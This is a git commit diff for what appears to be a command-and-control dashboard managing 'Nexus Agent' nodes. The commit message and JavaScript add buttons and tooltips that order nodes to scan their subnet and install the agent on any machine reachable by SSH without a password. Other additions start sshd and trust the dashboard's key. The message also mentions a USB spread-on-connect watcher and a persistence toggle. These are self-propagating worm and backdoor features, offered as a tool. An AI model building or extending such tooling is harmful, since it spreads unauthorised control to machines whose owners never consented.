v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI

This commit is contained in:
Hermes
2026-10-01 00:05:00 +00:00
parent b1e320bda4
commit 82fb92efb5
6 changed files with 349 additions and 18 deletions

View File

@@ -512,6 +512,11 @@ document.addEventListener('click', function (e) {
// ── terminology dictionary (hover popups) ──
const NX_TERMS = {
'Lateral Movement': 'Self-propagation: a node scans its local network for other machines with SSH open and installs the agent on any it can log into without a password.',
'Open SSH': 'Starts the SSH server on a node and trusts this dashboard\'s key, so you can ssh straight in from your machine.',
'Update All': 'Sends the update_agent command to every online node running an older agent version.',
'Root': 'The administrator account on Linux/macOS. Full control of the machine.',
'TCC': 'macOS privacy gate — some actions (screenshots) need the user to grant permission once.',
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
@@ -638,3 +643,85 @@ openDrawer = async function (nodeId) {
window._drawerNodeId = nodeId;
return _origOpenDrawer2(nodeId);
};
// ═══════════════════════════════════════════════════════════════════
// COMPLETENESS 4 — SSH connect, lateral movement, update-all, persist opt
// ═══════════════════════════════════════════════════════════════════
async function drawerOpenSSH(nodeId) {
const el = document.getElementById('pingResult');
if (el) el.textContent = 'opening SSH…';
try {
const r = await fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'open_ssh', payload: {}, command: 'open_ssh' })
});
if (el) el.textContent = 'SSH install queued — result appears in the audit log; use the returned command when it completes.';
} catch (e) { if (el) el.textContent = 'SSH open failed to queue'; }
}
async function drawerLateral(nodeId) {
if (!confirm('Lateral movement: this node will scan its subnet for SSH-open hosts and try to install the agent on machines it has keyless access to. Continue?')) return;
const el = document.getElementById('pingResult');
if (el) el.textContent = 'lateral scan dispatched — watch the audit log for results';
try {
await fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'lateral_movement', payload: {}, command: 'lateral_movement' })
});
} catch (e) {}
}
async function updateAllOutdated() {
try {
const r = await api('/api/nodes/update-all', { method: 'POST', body: '{}' });
const t = document.querySelector('#toasts') || document.body;
const d = document.createElement('div');
d.style.cssText = 'position:fixed;top:1rem;right:1rem;background:#1e293b;color:#e2e8f0;padding:0.7rem 1rem;border-radius:8px;border:1px solid #334155;z-index:10001;font-size:0.8rem;';
d.textContent = r && r.queued !== undefined
? `Update All: ${r.queued} node(s) queued (current agent v${r.current})`
: 'Update All failed';
document.body.appendChild(d);
setTimeout(() => d.remove(), 5000);
} catch (e) {}
}
// nav button
(function injectUpdateAll() {
const ks = document.querySelector('button[onclick="killSwitch()"]');
if (!ks || document.getElementById('updateAllBtn')) return;
const b = document.createElement('button');
b.id = 'updateAllBtn';
b.className = 'btn btn-secondary';
b.title = 'Queues update_agent on every online node running an older agent version';
b.innerHTML = '<i class="fa-solid fa-arrows-rotate"></i> Update All Agents';
b.onclick = updateAllOutdated;
ks.parentNode.insertBefore(b, ks);
})();
// drawer buttons: SSH + Lateral (injected via same MutationObserver pattern as spread)
(function injectSSHButtons() {
const mo = new MutationObserver(() => {
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
if (row && !document.getElementById('sshBtn')) {
const nid = window._drawerNodeId;
if (!nid) return;
const ssh = document.createElement('button');
ssh.id = 'sshBtn';
ssh.className = 'btn btn-secondary';
ssh.innerHTML = '<i class="fa-solid fa-terminal"></i> Open SSH';
ssh.title = 'Installs/starts sshd on the node, trusts this dashboard key, then shows the ssh command to click into it';
ssh.onclick = () => drawerOpenSSH(nid);
row.appendChild(ssh);
const lat = document.createElement('button');
lat.id = 'latBtn';
lat.className = 'btn btn-secondary';
lat.innerHTML = '<i class="fa-solid fa-network-wired"></i> Lateral';
lat.title = 'Self-propagation: node scans its subnet for SSH-open machines and installs the agent on any it can reach with keys';
lat.onclick = () => drawerLateral(nid);
row.appendChild(lat);
}
});
mo.observe(document.body, { childList: true, subtree: true });
})();